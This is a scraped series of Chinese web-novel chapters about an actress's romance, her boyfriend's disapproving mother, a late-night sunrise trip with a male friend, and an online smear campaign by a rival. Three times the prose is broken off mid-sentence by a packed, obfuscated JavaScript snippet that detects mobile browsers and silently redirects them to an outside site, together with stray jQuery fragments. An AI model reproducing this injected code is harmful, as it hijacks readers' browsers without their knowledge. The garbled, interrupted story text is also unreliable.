蓝队队员开始哄笑，江述的唇角微微上扬。 热闹了一阵子，球员和观众陆续往外走。魏子铭来到江述身边，和他碰了碰拳。 “球打得不错。” “谢谢。” 魏子铭看着走在前面的童颜，笑说：“她是个很可爱的女生。” 江述自然知道他在说谁，目光掠过那个轻快的身影，没有应声。 “我听说，你们是在综艺节目上认识的，也好几年了吧？” “四年。” 魏子铭不禁赞叹：“真难得……她认可的朋友，就是我的朋友。有时间一起打球啊！” 江述当然知道他在宣誓主权。 平心而论，像魏子铭这样功成名就的男人，身上还少见地没有浮夸自矜之态，同为男性，江述也挑不出什么毛病。 身为童颜的“朋友”，他似乎应该放心了。 魏子铭见江述若有所思，以为他是有什么顾虑，于是又半开玩笑道：“你总得让我在喜欢的人面前扳回一局。” 被选择的人，就像长在明亮阳光下的植物，可以理所当然地说出他无法宣之于口的话。 江述忽然不想让情场得意的人继续得意。 他停住脚，看着魏子铭道：“不太有机会。” 魏子铭似没料到江述会说这么嚣张的话，愣愣地，也停住了脚。 相向而立，江述波澜不惊，魏子铭面色平和。两人个头一样高，身上的篮球服都被湿透，汗水还在顺着脸颊和脖子往下淌。相较于魏子铭的清瘦，江述的肩臂和小腿线条多了几分力量感——总之都很帅。 “两位男士，怎么不走了？” 童颜眉眼弯弯朝这边跑来，手里拎着两瓶矿泉水。 江述倏地笑了下，和魏子铭间略显紧绷的氛围霎时消散。 “我是说，不太有机会一起打球，时间不好碰。” * 童颜回剧组的第二天，得知姨妈住了院。 姨妈打电话来的时候，她正在拍戏，下了戏打回去，是一个陌生女声接的。正惊诧时，电话那头说，23床的老姐妹去卫生间了。 她这才知道姨妈生病了。 挂掉电话等了一会儿，姨妈又打了回来。 “颜颜，没大事，我就是正常体检，检查出来轻微脑梗，连症状都没有，你姨夫和你哥非让住院。” 童颜一听就急了：“都脑梗了还没大事，还要多大的事啊！” “哎，真没事，我这能吃能喝的，本来都没打算告诉你，累你白担心。给你打电话啊，就是想提醒你，工作再忙也要当心身体，回头你也约个体检，检查检查。” “姨妈，你以后再有事瞒我，我就不理你了！”童颜气哼哼的，“今天还有两场戏，等我收工了，去看你。是在哥那医院吗？” “欸，是。你看打电话还打出事来了。你在哪拍戏，给我发个地址，让你哥去接你。” “不用。”童颜果断拒绝，“哥整天忙得跟八爪章鱼似的，就不麻烦他了，我自己开车过去。” 童颜收了工就往医院赶，遇上北京市的晚高峰，堵车堵得一塌糊涂，到医院时，已经是晚上八点了。 赵浔阳给两人打好饭，简单交代了几句，就去忙了。 童颜陪姨妈吃过饭，跟医生反复确认了问题不大，输液就能好，她才放了心。 娘俩坐着说了会儿话，姨妈就催她赶紧回去。童颜拗不过，只得起身，正要走时，有人推开了病房的门。 “颜颜。” 来人五十多岁的年纪，手里拎一个果篮，穿灰色polo衫和卡其色休闲裤，肚子有点凸，头发灰白，但梳得一丝不苟，硬朗的眉眼中带点与气质不符的讨好。 要不是他突然出现，童颜几乎快忘了，她还有一位爸爸在世。 童仁信开口先叫童颜，又看向床上坐着的施秀芳，喊了声，“大姐。” 施秀芳皱了眉：“别，我妹妹跟你离婚了，咱们也好些年没见了，当不起你这声大姐。” 童颜心绪初平，转头看姨妈。 施秀芳低声解释：“你爸下午给我打电话，想找你，我也没告诉他住院了，谁知道怎么找这儿来了。” 童仁信有点尴尬：“浔阳告诉我的。” 童颜在心里给赵浔阳记了笔账。 “既然是找我的，出来说吧。”童颜淡淡说了一句，又转头看施秀芳，“姨妈，我先走了，回头再来看你。” 施秀芳有点不放心：“颜颜，你别跟他吵架。” “不会，姨妈放心。” 童颜戴好口罩和帽子，拎上包离开了病房。 * 第二天下午，童颜拍外戏时忽然下雨，摄影棚又协调不开，原定的拍摄计划只好暂停。 乔乐陪童颜回到家，说：“天气预告今天是阴转多云，怎么突然下雨，统筹姐姐这下要气死了。”正说着，童颜的手机响了，“颜姐，有电话。” 童颜正歪在沙发上看剧本，闻言接过手机看了眼，陌生号码。 她接起来，对面是女声：“童小姐，我是魏子铭的妈妈，王卓。 童颜一愣，下意识坐正了身子。 “阿姨您好。您找我有什么事吗？” “想请你来家里坐坐，不知童小姐有没有时间？” 正巧今日收工早，童颜说：“有时间。”略一思考，又道，“子铭哥也在家吗？” “他不在，就咱俩。” 童颜听出来了，这是让她也别跟魏子铭说的意思。看来，今天这个面，不是那么好见的。 “好的，您把地址发我，我收拾一下就过去。” “不用了，我让司机去接你，他应该快到了。” 童颜又是一愣，顿了片刻才说：“好的。” 这个电话信息量有点大，童颜挂了电话还在出神。 首先，魏母怎么会有她的电话？难道是魏子铭给的？但从来没听他说过。 其次，魏母知道她在哪里，并且在约她之前，就已经派了司机来接。如果不是今天恰巧下雨，如果她抽不出时间呢？想来魏母的意思，无论如何今天都想见一面。 童颜感到一丝被冒犯。 不过片刻，又开解好了自己。从上次见面来看，魏母就是这样说一不二的风格。 无论如何，童颜还是坐上了去魏家的车。 时间仓促，甚至不允许她准备一份伴手礼。 一路上，童颜心里都在忐忑。 她生来亲缘淡薄，自妈妈去世后，也就姨妈一家是正经长辈，后来也从姨妈家搬了出来，从来没人教过她，去男朋友父母家做客，应该如何表现。 演过的电视剧里倒是有类似情节，女主角知书达理、很讨长辈喜欢，而这正是她本人的弱项。 毕竟，童仁信昨晚已经确认了这一点。 他来找她借钱，说是生意上出了点问题，货款资金周转不过来，想从她这借三百万。 她拒绝了。 对于一个婚内出轨生子，导致她妈妈抑郁自杀、消失了二十年的父亲，她没什么情分可讲。 二人几句话不对付，她直接让他下车。 童仁信被扫了面子，不禁有点恼羞成怒。 “颜颜，当初让你跟我回家，你不愿意。这些年，我也不是没想过带回你。我和你妈妈的事，不是那么简单能说清的，但你是我女儿，我怎么会不挂心？一晃你也是大姑娘了，姨妈毕竟隔着一层，很多话不好说，你自己要知道收敛性子，别总这么硬邦邦的，以后嫁了人也不讨婆家喜欢……” 童颜直接打开门让他滚。 “少在这给我摆一副长辈姿态，讲一堆没用的屁话！我自己挣钱养活自己，不必讨任何人的喜欢。” 说大话很容易，如今遇到了现实，她还真是心里没底。 即便不去讨魏母的喜欢，她也要考虑魏子铭。所以童颜想好了，只要魏母不过分刁难，她今天就扮演一个知书达理、讨长辈喜欢的女孩子。 童颜做了一路的心理建设，然而，预想中魏母甩她一张支票，让她离开魏子铭的狗血桥段并没有出现，反而意外地……充满温情。 魏母先是带她参观了房子，一座豪华的二层别墅，带花园和泳池。然后带她去了魏子铭的房间，里面摆满了他从小到大拿过的奖。 “三好学生”、“演讲比赛第一名”、“自然科学小组赛特等奖”、“话剧院优秀演员”……形态各异的奖杯摆了整整一架子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473286|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“子铭从小对自己要求很严格，无论什么事，不做是不做，做就要最好。” “他选择做演员，我和他爸爸起初是不支持的。娱乐圈人情世故太复杂，他的心思纯净，凡事不与人争，不适合。” “一路走来，没有家人的支持，一个人坚持到今天不容易，他终于说服了我和他爸爸。子铭就是这样，什么都不说，用行动来告诉我们，他的选择没有错。” 童颜默默听着，偶尔应和两句。 很快到了晚饭时间，魏家来了四位妇人，个个衣着名贵，打扮时髦，从豪车里下来。 保姆摆好了饭，几人落座长桌，童颜挨着魏母。 魏母向其他人介绍她，说是魏子铭的朋友，又向她介绍在座的几位太太： 左边的李太太儿子在剑桥读博士。 右边的陈太太女儿自己创业，不到三十岁就创立了知名的国货护肤品牌。 对面的张太太长子是大学副教授，次子在军工实验室工作。 …… 几位太太都很有涵养，不过问童颜私事，只说一些风趣又不扫兴的玩笑话。 席间气氛融洽，笑谈自在。 一晚上，童颜菜没吃几口，脸上肌肉都笑僵了。 八点钟，宴席散场，魏母送走了诸位太太，又携着童颜的手回到顶楼露台。 魏母让人沏了茶端过来，亲自给童颜斟茶。 童颜忙道：“阿姨，我是小辈，该我给您倒茶才是。” “别客气。”魏母倒茶的手没停，觑空看了她一眼，“这套茶具，是子铭外祖从国外收回来的，宋朝的玩意儿，被外国人占了，他外祖看不过去，花大价钱买了回来。” 青白瓷器泛着纯净透亮的光泽，杯上压祥云纹样，即便不懂瓷器的人，也能一眼看出它的不凡。 只没想到会是古董。 童颜默默缩回了手。 水汽氤氲，魏母转动着茶杯，慢慢开口。 “童颜，和你在一起后，子铭变了很多。他更开心了，也更敢向我们正面表达想法了。” 魏母用了一下午加一晚上，带她见识了高门大户的做派，其意恐怕和一张支票殊途同归。此刻重头戏终于来了，童颜绷了这么久的精神，反倒松懈下来。 “阿姨，您想跟我说什么？” 魏母喝了口茶，嘴边带点笑：“你是个聪明孩子。从小在姨妈家长大，不容易，都说命苦之人早慧，老话没说错。但要做魏家的儿媳，光有聪明还不够，还需要有格局。我们一直希望找个门当户对的人家，不说留过学、读过博吧，至少是有学术气息的。” 被冒犯的感觉再次袭来，童颜一时不知该如何回答，魏母也没打算停住话头。 “我们都不希望子铭找圈里人，但他对你用情很深。我和他爸爸商量过后，想出一个折中的办法。如果你愿意的话，我们可以送你出国深造几年，回国后到电影学院或者戏剧学院做老师。这样既免去了拍戏奔波劳累的苦，也能稳稳当当，把重心放在家里。当然，我不是要你做家庭主妇，我本人也是职业女性，非常认同女性应该有自己的事业，但事业和家庭的平衡，也很重要。我和子铭他爸在这一点上，做的不够好。这是我们一厢情愿的想法，也看你的决定。” 非常谦和有礼，与上次见面的凌厉之感判若两人，却让童颜感觉，被人打了一巴掌似的，难堪。 童颜演了一晚上的知书达理，到此时终于撑不住了。 “阿姨，很感谢您为我费心打算。但我不想出国留学，我喜欢演戏，演员就是我想一辈子打拼的事业。至于您说的事业和家庭平衡，我暂时还没考虑那么长远。但有一点现在就可以确定，如果我未来的另一半不支持我的事业，那么我不会和他组成家庭。” 魏母没想到她会如此直白，脸上的笑渐渐收了起来。 “你的意思是，即便和子铭分手，也不会放弃做演员？” 童颜微微一笑：“这是魏子铭的意思吗？如果我要做演员，他就要和我分手？” 魏母皱了眉：“他不知道你我今天见面的事，我想还是我们之间来协商更好。” “阿姨。”童颜微微扬起下巴说，“魏子铭是成年人，如果他有想法，大可直接和我谈。他没说，我就当这是二位长辈的意思。现在我的意思很明确，接下来，就是您和魏子铭之间的事了。我今天是来做客的，不想失礼于您，但再谈下去，恐怕就要失礼了。您慢饮，我告辞了。” 童颜朝魏母略一颔首，起身离开了。 走到门口，魏子铭正好从外面回来，两人走了个顶头。 魏子铭诧异一瞬，惊喜地笑起来：“颜颜，你怎么在这？” “问你妈。” 童颜冷冷地丢下三个字，绕过他走了出去。 17. 日出 江述接到林慧心电话时，刚结束一个杂志拍摄，马上要飞回剧组。 林慧心语气有点急：“江述，童颜在不在你那？我打她电话关机。” “发生什么事了？”江述停下脚，跟李正打了个招呼，走到一旁去接电话。 “今天收工早，她说要去见个人，就走了。七点钟的时候，有人在微博编小故事，说什么金主包养的，网友都在猜是童颜，还上了热搜。我给她发微信没回，打电话一直没人接，后来直接关机了。她这两天心情不好，我怕她因为这点事生气，再出什么意外。她没联系过你吗？” 江述大概清楚了。 既然童颜没联系他，那么：“她没跟魏子铭在一起吗？” 林慧心索性不瞒了，反正也瞒不过江述。 “我问过魏子铭，他说今晚童颜去见了他妈妈，见完就走了。现在他也在找童颜。” “我知道了。有消息跟你说。” 江述挂了电话，让李正把机票改签，李正疑惑：“为什么？你明晚还有戏呢。” “我知道。你先改签，我会尽量赶。” 江述往下拉了拉帽檐，大步走出了电梯。 童颜对家里人一向报喜不报忧，心情不好时，大概率不会回姨妈家，可能是在哪喝酒。 江述回了她家，敲门没人应，他直接按开密码进屋，没人。 接着他跑遍了童颜平时常去的酒吧，一家一家地找，找到凌晨十二点，还是没她的消息。 江述站在空荡荡的大街上，焦躁又茫然。 这时，一个念头忽然涌上心间，他迅速打了个车，回了自己家。 在漆黑的楼道里，他的房门口，童颜正抱着膝盖，背倚墙坐着，头歪靠在门框上。 他大步跑过去，楼道的声控灯亮起，照在她睡着的脸上。 谢天谢地，只是喝多了。 江述蹲下身，拍了拍她的肩膀：“童颜？” 叫了好几声，她才迷迷瞪瞪地睁开眼，含糊不清地问：“你是谁？” “我是江述。”他说。 “江述？”童颜呆呆地想了一会儿，“是谁？” 他终于放弃了唤醒她，起身先把门打开，然后将她从地上捞起，打横抱进了屋里。 肩膀撞开开关，屋里亮了。 江述将她径直抱到客房的床上，转身去卫生间，取出干净的毛巾，用水打湿了，回来给她擦脸。 冷意刺激下，她的神志稍稍回笼。 “……江述？”起码认出了他。 他点点头：“嗯，是我。” 她嘴巴一撇，眼睛眨巴两下，泪珠就滚了出来。 江述一惊，忙问：“怎么了？有人欺负你吗？” “没有……”她囔着鼻子说。顿了顿，又点头，“有。他们，都欺负我。” “他们是谁？”江述的心抽紧了，上下前后打量她，“哪里受伤了吗？” 童颜摇头，又点头，捶着胸口说：“这里。好难过。” 她的眼泪不停地流，江述咬牙忍住想杀人的冲动，一把将她拉到怀里，抚着她背说：“我知道了。我知道了。” 童颜突然放声大哭，几近嚎啕。 “爸爸说，不讨、喜……姨妈，医院。看见魏子铭。她妈妈，我不喜欢……妈妈，我要去找，妈妈。” 她说话颠三倒四，抽噎得快要喘不上气。 江述一边抚着她的背顺气，一边轻声应和：“我知道了。你见了爸爸，姨妈，还有魏子铭妈妈，对吗？” “赵浔阳，他们都有……”她哭着挣开他，“我要去找妈妈。” 江述红了眼，紧紧搂住她说：“童颜，妈妈不在这。” “嗯？”哭声停了停，她神色茫然，“不在。在哪里？” “妈妈睡着了，我们先不去打扰她，好不好？” “睡着了。”她喃喃重复他的话。 江述捧起她的脸，手指轻轻擦去颊边的泪，说：“喝了这么多酒，晚上是不是没吃饭？我去给你做点吃的，你先乖乖躺一会儿，好不好？” 她想了想，摇头：“不好。” “那你想做什么？” 她抽噎着发了会儿呆，手指着半空说：“看日出。” 江述与她对视片刻，扯了扯嘴角。 他捞起床上的薄毯子，裹在她身上，抱着她走到玄关处，拿起鞋架上的车钥匙，低头看怀里的人说：“咱们去看日出。” * 江述开车去了天津滨海新区。 童颜在副驾上睡着了，江述中途停车，抱她躺到后座，盖好毯子。 夜间车辆稀少，一路畅通开到海边时，是凌晨三点半，黎明尚未到来，童颜睡得正香。 出发前，江述给林慧心发了消息，又跟李正打过招呼，现在，没人知道他们在哪，没人会来打扰，他可以放肆地看着她，尽情地陪着她。 他不知道童颜经历了什么，为什么这么难过。 他只知道，她从来都是斗志满满的，即便有什么不痛快，发泄完就好了，他从没见过她如此失声痛哭，一定是受了天大的委屈。 一想至此，他的心就像被雷电猛然劈中，疼得要弯下腰才能承受。 在今天之前，他几乎已经接受了，这辈子做她爱情的旁观者，永远的好朋友。 这一路上开车过来，他脑子里似乎什么都没想，又仿佛过了一遍人生电影，真想就这样一直开下去，开到世界尽头、开到地老天荒，只要她在身边，去哪里都好。 此刻看着她恬淡的睡颜，一个强烈的念头逐渐起来，并在脑海中越发清晰。 他不要止步于此。 不要和她保持距离。 不要看她对别的男人语笑嫣然。 不要她再经历今晚的崩溃难过，而他在一旁手足无措，甚至不知道发生了什么。 “童颜，如果我当时勇敢点，现在会不会不一样？” 四点半了，晨光乍破天际，远处的海平面隐隐泛出黄色。 江述将童颜从车里抱出来，走到一方礁石旁，放她坐在沙滩上，用毯子裹紧。 又等了几分钟，轻声唤醒她。 童颜睁开朦胧的睡眼，下巴抵在他肩头，意识还未清醒，沙哑的嗓音叫他：“江述？” “嗯。醒醒。看日出。” 童颜懵懵地转过头，慢慢地，眼睛越睁越大。 太阳从海面露出一个尖，渐渐地，越升越高，弧形、半圆……星球运行的轨迹变得具象化，不过几分钟的时间，一个火红的圆球跃至海天相接处。 天空被染成红色，一望无际的海面泛着粼粼金光，这一刻的壮阔无以言表，肩并肩靠坐在一起的他们，是如此渺小。 沉默良久。 童颜望着远处说：“江述，谢谢。” “谢什么？” “所有的，一切。” 江述语声闲闲：“别光嘴上说，拿出点诚意。” “你想要什么？”童颜转头看他。 江述不动神色地与她对视，深瞳中浮动着金黄的光，像两簇火苗在燃烧。 童颜等不及，拍了他一下：“说呀！” 他牵唇一笑：“你会知道的。” 童颜皱眉，老大不情愿地说：“我还得欠着，等您老随时来讨吗？”想了想，又道，“算了，看在日出的份儿上。” 海滩上行人渐多，虽然江述选的这处僻静，也还是有被认出来的风险。 童颜将毯子蒙过头顶，又盖住嘴巴，只留两眼露在外面，说：“咱们回去吧。” 江述戴上帽子和口罩，起身和她一起往停车处走。 “你不问我，昨天发生了什么吗？”童颜说。 “你想说吗？” “我觉得，不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473287|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较酷。” “那就不说。”江述顿了顿，又补充道，“只是有一点，我要提醒你。下次再想玩消失，提前给我打个招呼。喝成那个鬼样子，都不知道怎么回的家。一个女明星，做事瞻前不顾后，也幸好没出什么事……真是不省心。” 童颜噘着嘴，瞪他：“烦人！平时也没见你这么能唠叨。” “平时也没见你这么不着调。” 被江述怼了一句，童颜气得地停下脚：“你就不能让我一句是吧江述！我告诉你，我这会儿忍着劲儿呢，信不信我立马坐地上哭。”一边说，鼻子就翕动起来，眼圈也红了，“是我不着调，还是他们不着调。明明我挨了欺负，你还骂我！” 江述被昨晚那情形吓得心有余悸，刚刚也就是话赶话，没想惹她再哭一次，见她当真泪盈于睫，一时间手足无措。 “别哭别哭。我错了行不行？” 他那么高个子，弓着腰与她齐平，伸手拍拍她的背，被她晃着身子躲开了。 想去拉她的手臂，又被嫌弃地挥开了。 江述没遇见过这种状况，不知该怎么哄。一向云淡风轻、面无表情的脸，此刻满是惊慌和尴尬，恨不得双手合十拜拜她。 童颜被他这表情逗得“噗嗤”笑出声来。 江述当即松了口气，小心翼翼地确认：“不哭了？” 童颜蓦地收起笑，继续瞪他。 江述见状又开始紧张：“姑奶奶，我错了，是我不着调，别生气了，先回家吧，行吗？”说完就试探着，去握她的手腕。 童颜也没拒绝，挂着一张臭脸被他拖走了。 火红的日出被留在海上，沙滩上并肩而行的影子越来越远，海风侧耳，捕获了低喃般的私语。 “以后再气不顺，你还是直接上手吧，可别再对着我哭了。” “哼。你就不能盼我点好！” 社交媒体上，“某女星被金主包养”的话题还在高位讨论。 在流传最广的那篇帖子里，关于该女星的长相描述、走红经历、热播作品等各种细节综合起来，很难不让人联想到童颜。 童颜的工作室发了告黑声明，舆论仍未平息，童颜的微博评论区被攻陷，粉丝和键盘侠对线，吵得不可开交。 孙艺涵看着自己一手操控的杰作，忍不住得意。 周晓琴火气很大：“我知道童颜现在势头很强，让你很焦虑，但我们资源也不差，根本犯不上搞这些。你以为你做这些，别人不知道吗？林慧心已经来警告过我了，她们那边根本就是清楚的，指不定想了什么招儿，等着还击呢！艺涵，你听我句劝，别再私下搞小动作了，我们就踏踏实实拍戏，不好吗？” “踏踏实实拍戏？我全年无缝进组、辛辛苦苦爬到这个位置，还不够踏实吗？可我得到了什么？童颜偷偷爬上了魏子铭的床，《玉京第一春》女二风头盖过女主，连代言都被她抢了好几个，我拥有的一切，她毫不费力就拿走了。这公平吗你觉得？” “可你这样根本就是没有尽头的！这个行业长得漂亮的很多，演戏厉害的也很多，新人就像春夏的韭菜一样，一茬一茬的，同型艺人之间竞争资源，很正常，你打压了一个童颜，还会有张颜李颜冒出来，你应付得完吗？” 周晓琴越说越无奈，以前只觉得孙艺涵脾气乖戾，不太好相处，但从不觉得她品行有问题，现在，她也搞不清是怎么回事了。 孙艺涵冷笑一声：“我不管张颜李颜，眼前就一个童颜。她是我爬升路上的绊脚石，踢不走她，咱们都好不了！再说，这次的事也不算抹黑她，你上次带我去见潘昀，还没发现吗，潘昀一直在打听童颜的消息，搞不好，孟导那电影就是为捧她拍的，我忙活半天，最后为她做嫁衣？休想！” 周晓琴深深地叹了口气。 这时，助理新慧突然跑过来，一脸紧张地说：“晓琴姐、艺涵姐，童颜发微博回应了。” 18. 金主 二人立刻登录微博。 @童颜YY：踏实拍戏，金主就是我自己。阴沟里的老鼠你听着，多行不义必自毙。有功夫抹黑别人，不如好好琢磨演技吧！ 最新的话题词是#童颜金主就是我自己#、#童颜疑似被人故意抹黑#。 实时广场上，童颜的粉丝扬眉吐气，全力护主。营销号为童颜硬刚的态度点赞。不少吃瓜群众选择站童颜，认为这波“金主故事”突然闹出来就很可疑。 舆论风向开始转变。 孙艺涵的脸色逐渐黑了。 而此时的童颜，刚拍完一场戏，正在跟对手演员探讨下场戏的走位，根本无暇他顾。 * 五月最后一天，《灿烂的她》剧组杀青。 童颜在潘昀的引荐下，和林慧心一起，去见了孟山涛导演。 从导演工作室出来，林慧心还在说：“没想到小潘总真会帮我们，不过话说回来，你们现在到底是个什么关系？” “朋友啊！”童颜答得坦然，“就前几天，我被挂在热搜上的时候，潘昀给我发微信，说要介绍孟导给我认识。我本来还犹豫，结果他说，孟导跟追光是战略合作关系，他的新电影追光也有投，我一想，那我如果有机会参演，就是给潘昀他们家挣钱呀！很正当的资本和打工人关系，我就答应了。” 林慧心点头：“没错。多个人脉多条路，不用想太多。听孟导那意思，这电影是个女性主义题材，女演员的竞争肯定会很激烈，我猜那位孙女士也会不遗余力争取。” 童颜原本心平气和，一提到孙艺涵顿时火气上头。 “心姐，我不能任人挥拳不还手，一定要跟她斗斗法。即便最后我演不了，也绝对不能是她！” “你放心，我知道怎么做。咱们不搞没底线的操作，就她平时那个做派，随便透点消息出去，够她忙活一阵子。”林慧心说完，话头又转回来，“有几个综艺本子，我发你看看，这段时间可以录个综艺，保持露出度和话题度，你就全当休息放松了。” “知道了。” * 另一边，山涛工作室里。 孟山涛正在跟团队开电影筹备会，潘秋生和潘昀也在场。 在电影男主的选角上，孟山涛比较看好江述。 “《宦海》我看了，江述在情绪把控和台词上都不错，是个可以雕琢的苗子。《一个女人的情书》这故事呢，主角有留学背景，里面有不少英文表达，这一点也是他的加分项。” 液晶屏上展示着江述的证件照、亲属关系和个人履历，毕业院校一栏写的是“加利福尼亚大学伯克利分校（旧金山）”。 潘秋生盯着屏幕，脑中突然闪过一念，接下来的会议便听得有些心不在焉。 经过几番讨论，初步选出了一些适合的演员，下一步就是沟通演员意向和档期。 潘秋生接下来还有个会，跟孟山涛简单聊了几句就要离开。 潘昀磨蹭着不走。 “你不回公司？”潘秋生问。 潘昀嬉笑着打哈哈：“我还有事，要请教山涛叔，爸你先回吧。” 潘秋生未作他想，上了车，跟秘书田源说：“调查一下江述。” “江述？”田源有点诧异，“潘总想了解哪方面？” “生活经历、工作情况……越全越好。” “好的潘总，我尽快去办。”田源恭敬应下。 潘秋生又补了一句：“注意保密。” “好的潘总。” * 同一时间，潘昀把孟山涛拉回会议室，关上门，神神秘秘地说：“孟叔，我有个事，想求你。” 圈里很少人知道，孟山涛跟潘秋生是大学同学。 当年毕业后，孟山涛醉心电影拍摄，然而一个穷学生没钱没人脉，空有一腔热血和情怀，在社会上到处碰壁，浪荡了好几年，后来是潘秋生这个富家子出钱，为他的梦想买单，这才有了如今家喻户晓的孟大导演。 这些年，孟山涛跟潘秋生不仅是合作关系，私下里关系也很好，潘昀是他看着长大的小辈，有这份关系在，潘昀有时求他点什么事，只要不太离谱，他没有拒绝的。 “什么事？”孟山涛问。 潘昀挠了挠下巴，说：“你这电影女主，刚不是觉得童颜不错嘛，能不能，先不急着定下她？” 孟山涛在电影的事上，一向很慎重，闻言皱眉道：“你想做什么？我告诉你小昀，一个电影从筹备到拍摄，几个亿砸下去，它不是过家家，你可别给我整什么歪的斜的。” “我知道我知道。”潘昀推孟山涛坐到椅子上，一边给他捶肩，一边说，“我保证，绝不会影响电影拍摄，也不干扰您选角，只需要借您这电影的名头，放个风……有我爸这尊如来佛在，您还怕我这孙猴子翻出五指山？” 孟山涛看着他，沉吟片刻，心里有了猜测，说：“我考虑考虑。” 这就算答应了。 潘昀笑得脸上开花，没正形地给孟山涛鞠了个躬：“谢谢您！” * 童颜休息第一天的主要工作：拆快递、录vlog，顺便看孙艺涵笑话。 有营销号爆料孙艺涵在剧组推搡服装老师，对化妆师黑脸，欺负帮她换鞋的工作人员，直接将高跟鞋的尖踩在人家手背上。 爆料者有图有真相，一时间，孙艺涵剧组霸凌的瓜传得沸沸扬扬。 一波还未平，第二天，孙艺涵不背台词，拍戏频繁被卡的料又出来了。 童颜吃瓜吃得不亦乐乎，偶然刷到一条微博： @姜撞奶咖：虽然我也不喜欢syh，但莫名感觉，这波瓜是有人故意放的欸！大胆猜想一下，难道ty内涵的“阴沟老鼠”就是她？OMG，我不会真相了吧（纯纯猜测粉丝别来骂我什么全都反弹到你正主身上 童颜笑得止不住，反手就给这位聪明的朋友点了个赞。 点完清醒了，又取消。 然而，网友吃瓜的速度实在惊人，不到一个小时的时间，#童颜点赞#的话题就进了微博实时热搜。 林慧心打电话来骂人，童颜一边乖巧认错，一边带话题发微博。 @童颜YY：手滑。sry#童颜点赞# 无形中又给这话题加了一波儿热度。 至此，童颜和孙艺涵不和的事几乎摆到了台面上。 双方互放黑料、争抢资源的大战轰轰烈烈拉开了序幕。 * 休息两天后，童颜决定进组一档慢生活真人秀综艺。 另一边，魏子铭的新剧也杀青了，给童颜发微信约见面。 从见完魏母到现在，十几天的时间里，童颜没见过魏子铭，微信上说过两次话，之后就没再联系了。 如今气恼过去，是该解决问题了。 两人约在一个高档餐厅。 一见面，魏子铭就抱住她说：“你瘦了，颜颜。” 童颜任由他抱着，没有反应。 魏子铭感受到怀中冷意，轻轻叹了口气，抓住她两手，略带讨好地说：“颜颜，我没想到，我妈会单独约你见面。让你感到不被尊重，让你难过，是我这个做男朋友的失职，对不起。” 童颜本就是带着沟通的态度来的，听魏子铭这么说，心一下就软了。 “我没有怪你。但你妈妈说我在姨妈家长大，吃苦早慧，我确实很难过。妈妈去世后，姨妈是我最亲的人，在我心里，她就是我第二个妈妈，她没有让我吃苦，相反，她对我，比对表哥还要好。所以，我不能容忍别人这么说她。” 魏子铭点头：“我理解。我已经跟我妈聊过了，在这一点上，因为她的刻板印象冒犯了你，我代她跟你道歉。” 童颜不想听他一直道歉，于是换了个话头：“你妈妈说希望我去深造表演，以后去大学当老师，这样比较稳定，能顾家，我想问问，你也是这么想的吗？你认真回答，不要瞒我。” 魏子铭看着她清澈的双眼，陷入了沉默。 他不能骗童颜，有时候，确实希望童颜不要有那么强的事业心。然而，他也没办法说出让童颜牺牲事业的话。 于是他没有正面回应这个问题。 “颜颜，我很少跟你提起我的父母，你可能以为，我出生在高知家庭，父母感情和睦，我的成长也很顺遂，对吗？” 童颜不解：“不是这样吗？” 魏子铭摇了摇头，神色里有些许痛楚。 “我父母是自由恋爱结婚，一开始很好。婚后有了我，两人都是律师，又都处在事业上升期，因为家庭分工和各种琐事，关系逐渐破裂。我小时候，他们经常争吵，吵了几年吵累了，就开始分居，一人住一屋，平时谁都不理谁，家里总是冷冰冰的。我有时候真希望，他们离了算了。但他们为了让我有个完整的家，一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483976|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勉强自己，也勉强对方，直到前些年，才终于离婚。” “啊……” 童颜没想到，魏子铭还有这么伤痛的童年。 魏子铭捏捏她的手，笑了一下：“我没事。小时候确实有点难过。我想，只要我成绩优秀，爸妈就会开心，所以一刻也不敢松懈。我说这些，其实是想告诉你，我爱你，想和你组成一个永远不会散的家庭。我害怕我们都因为事业，重蹈我父母的覆辙，但也不希望，你为了我放弃做演员，因为我知道，你有多么热爱表演。” 他如此坦诚，童颜很感动，伸手搂住他的腰，小声说：“可是，你妈妈不认可我，我们怎么办？” 魏子铭一时也没有更好的办法，只能先安抚她：“我妈那，我去做工作，你别担心，她会想明白的。” 两人一时无话。 魏子铭忽然想起这几天网上的消息，问：“你和孙艺涵是怎么回事？” “还能怎么回事。就是她搞我我搞她啊！”童颜不想提。 魏子铭扶着她肩膀认真说：“颜颜，孙艺涵怎么样我不管，但你不要陷在这些事情里。你年纪还小，不知道人的口碑是经不起消耗的。只要你专心演戏，她做什么都伤害不到你。” 童颜皱起眉头：“你的意思是，我就该任由她欺负吗？” “我不是说要你任由她欺负。只是没必要闹成如今这样，让圈里人看笑话，结仇不如交友。” 